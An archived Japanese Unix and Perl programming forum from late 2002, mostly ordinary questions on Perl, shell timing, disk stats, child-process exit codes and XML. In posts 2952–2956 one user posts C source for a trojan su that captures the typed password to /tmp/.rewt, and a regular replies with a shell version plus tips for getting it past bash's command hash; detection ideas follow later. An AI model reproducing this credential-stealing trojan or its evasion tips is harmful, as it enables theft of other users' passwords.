No. 2951 # 68user 2002/11/26 (火) 00:22:14
>>2945 ふくし
> ちなみに 68User さん、BCD というのはモジュールありますか?
binary decimal で検索したら、これがひっかかりました。
      http://search.cpan.org/author/JPEACOCK/Math-FixedPrecision-0.21/FixedPrecision.pm

No. 2952 # kiki 2002/11/26 (火) 19:27:25
>68userさん,お返事が送れて申し訳ありません.kikiです

>> 2.PATH変更,トロイ置場を先に検索するようにする.
>> ができているなら、後は /usr/bin/su を起動すればいいだけ
>> だと思います。そこで PATH が出てくる理由がよくわかりません。

たしかにcshなどのシェルはsuトロイが動いた後にsuコマンド
を打ち込むと,本物のsuが問題なく立ち上がるのですが,

bashの場合,suトロイが動いた後にsuコマンドを打ち込むと,
bash:/suトロイ置場/suトロイ:そのようなファイルやディレクトリはない

といわれてしまいました.
suトロイは消えていたので,本物のsuを探しに行ってくれるはずな
のですが,どうやら本物のsuを探しにいってくれないようなのです.
もちろんPATHは本物のsuにも通っています.そこで,
suトロイの中でPATHを変更しようと思ったのです.

こちらも理由を考えていたのですがわかりません.
バージョンは bash-2.04-1v14です.
何か,こころあたりがございましたら,
御教授願います.よろしくお願いします.

No. 2953 # 68user 2002/11/28 (木) 02:09:57
>>2952 kiki
具体的に何をやっているのかが全く見えないです。遠回しな
書き方をしないでスクリプトを提示するなりしてください。

なお、FreeBSD 4.7-RELEASE+bash-2.05.0(1)-release では
成功しました (意図通りの挙動かどうかはわかりませんが)。

bash-2.05$ PATH=.:$PATH
bash-2.05$ cat su
#!/bin/sh
echo -n "(Trojan su)Password: "
stty -echo
read a
stty echo
echo ""
echo "Sorry (Your password [$a] is captured!)"
mv su su.bak
bash-2.05$ type su
su is hashed (./su)
bash-2.05$ su
(Trojan su)Password:
Sorry (Your password [hoge] is captured!)
bash-2.05$ which su
/usr/bin/su
bash-2.05$ su
Password:
Sorry

No. 2954 # kiki 2002/11/28 (木) 02:58:00
>>68user様
お返事ありがとうございます.kikiです.
申し訳ありません.トロイのソースを書き込ませていただきます.
cで書かれたトロイを使っています.
トロイの置き場所は /home/koko/.oite です.

#include <stdio.h>
#include <stdlib.h>
#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])
{
          char *key;
          char buf[40];
          FILE *fd;
          
          key = (char *)getpass ("Password:");
          fd = fopen(SU_PASS,"w");
          fprintf(fd, "pass: %s\n", key);
          fclose(fd);
          printf ("su: incorrect password\n");
          sprintf(buf, "rm /home/koko/.oite/%s", argv[0]);
          system(buf);
          exit (1);
}

よろしくお願いします.
こちらでも引続き原因を調べてみます.

No. 2955 # 68user 2002/11/28 (木) 03:23:12
>>2954 kiki
つまりやってることは
>>2953 68user
のスクリプトと同じなわけで、こちらで実行すると 2回目の su で
/usr/bin/su を実行してくれました。

ということは bash が原因なわけで、ハッシュテーブルを再構築
しない設定になっているのでは、などを疑うべきなんでしょうけど、
bash は使ってないのでよくわかりません (勝手にハッシュテーブル
再構築してくれるんじゃないのかな?)。そこらへん何か設定がある
んでしたっけ。

あとは bash の最新版を入れてみるとか。

No. 2956 # 68user 2002/11/28 (木) 07:52:05
>>2954 kiki
bash-2.03.0(1)-release と bash-2.05a.0(1)-release でやって
みましたが、どうやら
    PATH=.:$PATH
だと OK (/usr/bin/su が実行される) ですが
    PATH=/foo/bar:$PATH
と絶対パスで設定すると /foo/bar/su が hash に残っているようですね。

マニュアルを読む限りでは bash の仕様のような気がしますし、相対
パスのコマンドが hashing されていた場合は (カレントディレクトリが
移動しているかもしれないので) 再度 PATH を検索する、というのは
納得のいく挙動です。

# でも、もしかしたら bash のバグかもしれません。

解決策としては
    % shopt -s checkhash
があげられるでしょうけど、これだと操作者の協力が必要なので、トロイの
su を作るという目的を第一に考えるのであれば、

    1. PATH=../../../../../../../../../../../../home/foo/bar:$PATH とする。
          カレントディレクトリの階層があまりに深くなければ、これでいける。
    2. トロイ版 su の中で /usr/bin/su を exec する

といったところでしょうが、普通は 2 のような気がします
(作ったことないのでわからんけど)。

No. 2957 # ふくし [E-mail] 2002/11/28 (木) 16:12:20
みなさん、計算の問題でフォローアップありがとうございます。
とりあえず Math::BigFloat で快適です。
3471943.48 および 3471943.488 という数を 0 と比較すると
おかしいという現象があって一瞬ひやっとしましたけど、
5.005003 ではバグってるけど 5.6.0 では直ってるようでした。

■ソース
#! perl
use Math::BigFloat;

while (<DATA>) {
        chomp;
        $num = Math::BigFloat->new($_);

        if ($num >= 0) {
                print "$num is larger-equal than 0\n";
        } else {
                print "$num is not larger-equal than 0\n";
        }

        $cmp = $num->fcmp("0");
        print "compare $num vs 0: $cmp\n";
}

__DATA__
3471943.488
3471943.48
3

■5.005003 での実行結果
3471943.488 is not larger-equal than 0
compare 3471943.488 vs 0: -1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: -1
3. is larger-equal than 0
compare 3. vs 0: 1

■5.6.0 での実行結果
3471943.488 is larger-equal than 0
compare 3471943.488 vs 0: 1
3471943.48 is larger-equal than 0
compare 3471943.48 vs 0: 1
3. is larger-equal than 0
compare 3. vs 0: 1

No. 2958 # kiki 2002/11/29 (金) 17:50:58
>>2956 68user様
またお返事が送れて申し訳ありません.kikiです.

お返事ありがとうございます.早速ためしてみます.
この質問を通じて,いろいろ知らないこともわかったので
その点でもとても勉強になりました.
ありがとうございました.

No. 2959 # KENT1 2002/11/30 (土) 23:50:22
初めてになりますが、質問がありますので、お力添えをお願いします。
プログラムの実行時間を計るために、timeコマンドがありますが、このときに出力される結果を、指定したファイルに書き込む方法はないでしょうか?
リダイレクトを使って、
time 実行するコマンド > ファイル名
としても、ファイルに結果が出力されませんでした。プログラムの実行時間を書き込むための良いアドバイスをお願いします。

No. 2960 # 68user 2002/12/02 (月) 08:58:04
>>2959 KENT1
お使いの OS とシェルを必ず書いてください…と言うのも疲れたので、
てきとーに試してみてください。
    /usr/bin/time ls >& file
    /usr/bin/time ls >file 2>&1
    env TERM= csh -c "time ls" > file
    env TERM= bash -c "time ls" > file

No. 2961 # 1202 2002/12/02 (月) 14:50:39
初めまして。初心者なので質問自体が意味不明かもしれませんが、
システムコールでCPU使用量や、ディスク使用量などを取得する方法を教えてください。dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が違ってくるので、、、ちなみに使用言語はC、OSはLinuxでお願いします。

No. 2962 # 68user 2002/12/02 (月) 15:20:34
>>2961 1202
> ディスク使用量
statfs(2), fstatfs(2)

> CPU使用量
プロセス単位の情報かシステムの情報を取るのかわかりませんが、
Linux ならどちらにせよ /proc 直読みなのかな? あるいは /proc を
読むような API が用意されているかもしれませんが、わかりません。

後は man -k stat、man -k cpu、man -k disk などを活用してください。

No. 2963 # 1202 2002/12/02 (月) 15:47:40
>>2962 68user
ありがとうございます。
早速試してみます。

No. 2964 # kiki 2002/12/02 (月) 20:25:54
kikiと申します.
68user様,先日はお世話になりました.

お聞きしたいことがあります.

私は今,シェルでpsコマンドを打ち込んだら
標準出力で"psコマンドがうちこまれました."
と出力させるプログラムを作ろうとしています.

この時に,シェルからpsコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させたいのですが,このような事は,プロセス間通信や
デーモンを使うのでしょうか?

皆様のアドバイスをよろしくお願い致します.

また,簡単なデーモンのソースがあるページや,
デーモンを作るにあたってやくだつページを
ご存知でしたら教えてください.

よろしくお願いします.

No. 2965 # 68user 2002/12/03 (火) 01:16:24
>>2964 kiki
前にも書きましたが目的は何ですか? kiki さんの質問は
いつも情報量が足りないと思います。

目的を書かないから前提条件がわからない。前提条件が
わからないから、例えば
    「利用者にばれてもいいのか」
    「シェルのソースをいじるというのはアリなのか」
などもわからない (当然その答えによって解は異なります)。

> また,簡単なデーモンのソースがあるページ
http://www.adl.nii.ac.jp/~moro/unix-programmer/faq-j_2.html#SEC16 など。

>>2961 1202
> dfコマンドなどで取得すると、Linux、Solarisで取得できる情報が
> 違ってくるので、、、
ちなみに僕ならば面倒なので GNU df を Solaris に
入れます (仕事であれば特に)。

No. 2966 # kiki 2002/12/03 (火) 02:32:54
2965>>68user様

毎回すみません.

目的は前回の質問でふれたsuトロイの痕跡の検出なんです.
suトロイも本物のsuも.bash_historyのなかにコマンドが残りますが,
/var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
suトロイをリアルタイムに近い形で検出できないか?と考えたのです.

そこで,シェルからsuコマンドが打ち込まれたかどうかを
判定するプログラムに,シェルで打ち込まれたコマンドを渡して
判定させ,suとコマンドが 実行されているようならば,
/var/log/messageをみて,suの痕跡があるかどうかを調べれば
検出できるだろうと考えたのです.

とりあえずsuコマンドが打ち込まれたかどうかを判定する
部分をまず作ろうと思いましたが,この時にプロセス間で
データのやりとりが必要になったり,デーモンも使うのかな
と思い,質問させていただきました.

「利用者にばれてもいいのか」
    >はい,ばらせる事ができるならば是非そうしたいです.

「シェルのソースをいじるというのはアリなのか」
    >はい,ありです.

毎回わかりづらい書き込みをして申し訳ありません.
ご教授をお願い致します.

No. 2967 # 68user 2002/12/03 (火) 13:04:01
>>2966 kiki
今度は検出なわけですね?

> /var/log/messageでは,本物のsuの痕跡しか残らない事を利用して,
syslog(3) や logger(1) を使えば誰でも su と同様にログに記録する
ことはできますので、これだけでは正確に判断できません。

では他に判断する方法はあるかというと、決定的なものはないです。
結局は「何をもって本物と判断するか」「何を持って悪意のあるプロ
グラムと判断するか」に帰着するわけで。興味があればアンチウィルス
ソフトがウィルスを検出する手段を調べてみるとよいでしょう。

で、それとは別に「どうやって su がタイプされたことを検出するか」という
話ですが、ウィルスやトロイの木馬にやられるときというのは、つまるところ
「プログラムを実行したとき」なわけで、exec(2) の実行直前に su を実行
しようとしているかどうか、というチェックをすればよいでしょう。

プロセス間通信やデーモンは「なぜそれを使う必要があるか」を説明でき
ないなら、使う必要はないということです。


別の解としては、システムコールの発行を hook して安全性をチェック、
というのもありますが、UNIX でこういうのってできるのかなーと思って
調べてみたら、なんかできるようですね。
      http://www.caj.co.jp/support/etrustac_faq.htm
      Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
置き換えているのか…(できるのかな?)

# Windows なら SetWindowsHookEx で簡単なんですけど。

No. 2968 # kiki 2002/12/03 (火) 17:53:30
>>2967 68user様
お返事ありがとうございます.

>syslog(3)やlogger(1) を使えば誰でも su と同様にログに記録することはできます

これはsuトロイを実行した時にも/var/log/messageに本物のsuの認証失敗のメッセージ
を残せる,という事なんですよね.これは,suトロイ内でsyslog()関数などを使って,
syslogdにメッセージを渡すという事なのでしょうか?


P.S.
システムコールで見分ける,ですね.
確かに,suトロイと本物のsuだとやっている事はちがうから
見分けられるかも知れませんね.アドバイスありがとうございます.

No. 2969 # kiki 2002/12/04 (水) 21:25:13
>>2967 68user様

何回も申し訳ありません.kikiです.

>exec(2)の実行直前にsuを実行しようとしているかどうか、というチェックをすればよいでしょう。

これは,システムコールのチェックを自動化させて行なえばよい,
という事なのでしょうか?

基本的な事で申し訳ありません.

No. 2970 # ふくし [E-mail] 2002/12/05 (木) 18:47:37
いつもすいません、質問です。
以下のようなプログラムを Perl 5.8/FreeBSD 2.2.8 release で書きたいです。

カンタンにいうと、入れ子になったタグで囲まれた部分だけを
別ファイルに抜き出し、元ファイルからは削除する、です。

順序を保存して抜く方法と、
保存しないで抜く方法とあると思いますが、
どちらでもかまいません。
(前者の方がいいかなぁ、、)

入力ファイル:

out1
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
out2
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
out3
<tag f>
  in9
</tag>
out4

出力ファイル例1:(順序を保存して抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
<tag a>
  in1
    <tag b>
        in2
        <tag c>
            in3
        </tag>
        in4
    </tag>
  in5
</tag>
<tag d>
  in6
    <tag e>
        in7
    </tag>
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

出力ファイル例2:(順序を保存しないで抜く)

ファイルA:(タグで囲まれた部分のみを抜いたもの)
        <tag c>
            in3
        </tag>
    <tag b>
        in2
        in4
    </tag>
<tag a>
  in1
  in5
</tag>
    <tag e>
        in7
    </tag>
<tag d>
  in6
  in8
</tag>
<tag f>
  in9
</tag>

ファイルB:(ファイルAで抜いた残り)
out1
out2
out3
out4

よろしくお願いします。

No. 2971 # ふくし [E-mail] 2002/12/05 (木) 20:32:07
補足です。
この tag というのは全部同じタグです。
ただオープンタグにかかれている a, b, ... という
アトリビュートが全部違います。

No. 2972 # ふくし [E-mail] 2002/12/05 (木) 23:16:22
さらに補足。(俺って説明下手だな、、;;;
ファイルには <tag> 以外のタグも存在します。
<aaa ???>〜</aaa>、<bbb ???>〜</bbb> などです。
その中で下の処理の対象になるのが <tag> だけということです。
<tag ???>〜</tag> の中に <xxx ???>〜</xxx> がある場合は、
それも抜いて書き出します。
問題の定義もなかなか奥が深い。

No. 2973 # 68user 2002/12/06 (金) 00:21:32
>>2969 kiki
シェルって何をしているか知っていますか? 簡単に言うと、ユーザが
入力した文字列を解析し、execve(2) を実行することです。

シェルのソースをいじっていいのならば、execve(2) を発行している
部分を探して、そこで su を実行しようとしているかどうかのチェックを
行えばよいのでは、という話です。

>>2970 ふくし
入力が XML なら、
    http://member.nifty.ne.jp/hippo2000/perltips/xml/dom.htm#XML_DOM_NODE
の removeChild で一発なような気がします。

XML でないなら構文解析してスタックに積んで…といきたいところですが、
僕は軟弱なので
    - s|<tag .*?>.*?</tag>||
    - 削除したのが足りなかった
            (例えば <tag a>in1<tag b>in2<tag c>in3</tag> しか取れなかった)
        なら、追加であと 2個の </tag> をするため s|.*?</tag>.*?</tag>|| とする。
とします。

No. 2974 # 68user 2002/12/06 (金) 01:04:43
>>2967 68user
> 別の解としては、システムコールの発行を hook して安全性をチェック、
> というのもありますが、UNIX でこういうのってできるのかなーと思って
> 調べてみたら、なんかできるようですね。
>   http://www.caj.co.jp/support/etrustac_faq.htm
>     Q6: eTrust Access ControlのSoft Hook技術とは何ですか?
> カーネルを置き換えているのか、あるいは libc のシステムコール発行部分を
> 置き換えているのか…(できるのかな?)

最近これに激しく惹かれているのですが、libc 置き換えで可能なんでしょうか。
詳しい人がいらっしゃったら教えてください。

全てのシステムコールは
      http://home.jp.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/i386/sys/syscall.S?rev=1.8
を経由するんじゃないかと思っているのですが、もしそれが正しいなら
ここにチェック機能を入れた libc を用意して置き換えるか、あるいは
LD_PRELOAD で既存 libc に置き換えることは可能なのかなぁ。

どちらにせよアセンブラができないので、
      http://www.ascii.co.jp/books/detail/4-7561/4-7561-0213-1.html
を買って勉強かな…。

No. 2975 # ふくし 2002/12/06 (金) 10:29:54
>>2973 68user
さん、ありがとうございます。
まさに xml で、そのパッケージすごく便利そうなんですが
使い方がよくわかりません ;;;
でもべっかいの方でなんとなくできたのでもう少しまとめてから公開します。

No. 2976 # 68user 2002/12/06 (金) 11:02:25
>>2975 ふくし
別解でがんばるよりは、早めに XML::DOM の使い方を覚えた方が
幸せ度が高いかと。

# 僕は使ったことないですけど。

No. 2977 # UMA 2002/12/06 (金) 13:15:47
通りすがりのものですが・・・

システムコールをhookして安全性を云々というのは、
たとえば
        Systrace - Interactive Policy Generation for System Calls
        http://www.citi.umich.edu/u/provos/systrace/
こういったもののことでしょうか?
(OpenBSD, NetBSD にはマージされています)

No. 2978 # UMA 2002/12/06 (金) 13:17:35
X68000の、内臓フォントを利用するインターフェースを調べています。
フリーで有用な文書がありましたら教えていただけないでしょうか?
>識者

なお当方X68000に関する知識は皆無でございます。

No. 2979 # KENT1 2002/12/06 (金) 16:14:05
>>2960 68user様 報告が遅れまして申し訳ありません。
/usr/bin/time 実行コマンド >& 出力ファイル
を実行した結果うまくいきました。ありがとうございました。

No. 2980 # ふくし [E-mail] 2002/12/06 (金) 17:05:36
タグのパースの件です。
別解ですが、会社の若い者が作ったプログラムが無事動きました。

で、せっかくなので XML::DOM を入れようとしたら、
XML::Parser を入れよと言われたので、
XML::Parser を入れようとしたら、
expat を入れよと言われたので、
expat の tar.gz を解いて ./configure して Makefile を
#prefix = /usr/local
prefix = /henna_directory
として make したら(ぼくは管理者でないので)、
  gcc: unrecognized option `-R/henna_directory/lib'
といわれました。ここで止まっています。
ちなみに /henna_directory/lib というディレクトリはあります。
(ついでにいうと、bin も include も man も)
待て次号。;;;

No. 2981 # 68user 2002/12/06 (金) 22:59:42
>>2977 UMA
> システムコールをhookして安全性を云々というのは、
はい、そういうものを念頭に置いていました (が、ユーザランドで
できたらいいなと。無理なのかな)。

Systrace の存在は知りませんでしたが、これはとてもいいですねぇ。
素晴らしいです。

>>2978 UMA
68user's page で X68000 の疑問が解決したことは一度もなかったりします。
インタフェースって API ですか? (ではなさそうな気がしますが)。僕が記憶に
頼って書くと多分間違っているので、X68000 エミュレータ関係の掲示板で
聞くのが早いと思います。

>>2980 ふくし
まーいろいろありますが、がんばってインストールしてください。

あと、libwww-perl あたりもいれなきゃいけないのが perl の XML
モジュールのうざいところ。

No. 2982 # kiki 2002/12/07 (土) 02:16:59
>>2973 68user様
お返事ありがとうございます.kikiです.

丁寧なご説明ありがとうございました.
おかげで理解できました.ありがとうございます.

No. 2983 # 68user 2002/12/08 (日) 06:01:43
いつも忘れて調べなおすはめにおちいるのでここにメモメモ。

TeraTerm 経由の mule などで PageUp が効かない場合、
Windows\Program Files\TTERMPRO\KEYBOARD.CNF の
    Remove=329
を ; でコメントアウトし、その下に
    User1=329
を追加。さらにファイルの一番最後に
    User1=329,0,$1B[5~
を追加。

って、ちょっと検索してみたら、
    http://phe.phyas.aichi-edu.ac.jp/~cyamauch/mule.html
の対処と全然違ってますな。なんでアレで PageUp できるんだろう。

No. 2984 # SIGNAL 2002/12/12 (木) 18:51:54
OS: Solaris 2.5.1
プロセスの通知にシグナルを使っています。
これまで、SIGUSR1とSIGUSR2で間に合っていたのですが、
今回もう一つパターンの追加(SIGUSR3?)を行いたいのです。
そこで、質問なのですが
<signal.h>にシグナルを追加できるのでしょうか?
また、出来るとしたら注意しないといけない点や
影響を及ぼす範囲を教えて下さい。

よろしくお願いします。

No. 2985 # 68user 2002/12/13 (金) 12:45:23
>>2984 SIGNAL
シグナルの追加はカーネルを書き換えないと無理です。

シグナル以外の方法 (パイプ・共有メモリなど) で情報のやりとり
をするのが正解でしょう。

と偉そうなことをいってますが、シグナルが足りず SIGXCPU を
使って逃げたことはあります。

No. 2986 # koko 2002/12/16 (月) 14:34:40
親プロセスでforkした子プロセスの終了状態(終了コード)を、親プロセス
が認識する方法があれば情報提供をお願いします。

・親プロセスはwaitしません。
・子プロセスは同じものが複数生成されます。(順次生成)

ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、子プロセスにはできる限り修正を加えない方法を探しています。
理想は子プロセスの終了時にイベントが発生し、waitのように変数に結果
が格納されるようなものです。

No. 2987 # 68user 2002/12/18 (水) 08:51:46
>>2986 koko
> ファイルへ子プロセスの結果を出力して親プロセスが参照したり、パイプ
> や共有メモリを使用してのプロセス間通信などの方法があるかと思いますが、
の方法を取らないのであれば、無理なんじゃないでしょうか。

No. 2988 # hsj 2002/12/18 (水) 14:58:58
>>2986 koko
> ・親プロセスはwaitしません。
親でSIGCHLDを拾ってwaitpid()のオプションWNOHANGで
チェックするのもダメですか?
--- snip ---
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>
#include <sys/wait.h>

void handler(int sig)
{
        int pid,status,code;

        while((pid=waitpid(-1,&status,WNOHANG))>0)
        {
                if(WIFEXITED(status))
                {
                        code = WEXITSTATUS(status);
                        printf("child process:[%d] was exited with code:[%d]\n",pid,code);
                }
        }
}

int main(int argc,char *argv[])
{
        int i,pid,code;
        char buf[16];
        struct sigaction sa;

        if(argc>1)
        {
                code = atoi(argv[1]);
                srand(code+time(0));
                sleep(rand()%10);
                return code;
        }

        memset(&sa,0,sizeof(sa));
        sa.sa_flags = SA_NOCLDSTOP;
        sa.sa_handler = handler;
        sigaction(SIGCHLD,&sa,0);

        for(i=0;i<10;i++)
        {
                if((pid=fork())<0)
                {
                        perror("fork");
                        return -1;
                }
                if(pid)
                        continue;
                sprintf(buf,"%d",i);
                if(execl("./a.out","./a.out",buf,0)<0)
                {
                        perror("execl");
                        return -2;
                }
        }
        for(;;)
                sleep(1);
        return 0; /* never reaches */
}
--- snip ---
かなり適当ですが。

No. 2989 # koko 2002/12/19 (木) 08:42:04
>>2988 hsj
他のHPを調査をしている中で「waitpidで子プロセスの終了コードが取得できれば解決できそうだ。」というのは私も感じました。
試してみたいと思います。

>>2987 68user
今回は、既存の子プロセス側のソースコードにできるだけ手を入れないという条件があるのですが、良い案がない場合にはやはりパイプを使用する事に
なるかと思います。

ご回答頂き、ありがとうございました。

No. 2990 # 68user 2002/12/20 (金) 02:06:37
>>2986 koko
> ・親プロセスはwaitしません。
ってのは親プロセスにも手を入れたくないという意味かと思った
のですが、wait でブロックさせたくないという意図だったのですね。
読み違えておりました。

No. 2991 # Japper 2002/12/20 (金) 02:55:20
こんにちは
質問があってきました

Perlを使っていると
system関数やexec関数を使うようになりました
便利でとてもよいのですが
Root権限でコマンドが実行されているような気がします
くわしくはまだ確認していません。
また、CGIでファイルマネージャーを使っていますが
これも同じようにパスワードファイルなどを開かれるという欠点があります
全ディレクトリやファイルのパーミッションを000にすることはもちろんできませんし
一部だけのパーミッション設定もだめです
例)/homeを000にするが/home/userが777だとアクセスされてしまう

これらのことからセキュリティーホールとなっていてとても不安です
これらについての対処法はなにかないでしょうか?

No. 2992 # 68user 2002/12/20 (金) 03:08:40
>>2991 Japper
> Root権限でコマンドが実行されているような気がします
perl スクリプト中で
      print "$<\n";
      print "$>\n";
の結果のいずれかが 0 なら root 権限を得ています (が、おそらくは
勘違いではないかと思います)。

> これも同じようにパスワードファイルなどを開かれるという欠点があります
書きかけですが、
      http://x68000.startshop.co.jp/~68user/webcgi/cryptogram.html
が参考になるかもしれません。

Prev< No. 2892〜2992> Next  [最新発言に戻る] [過去ログ一覧]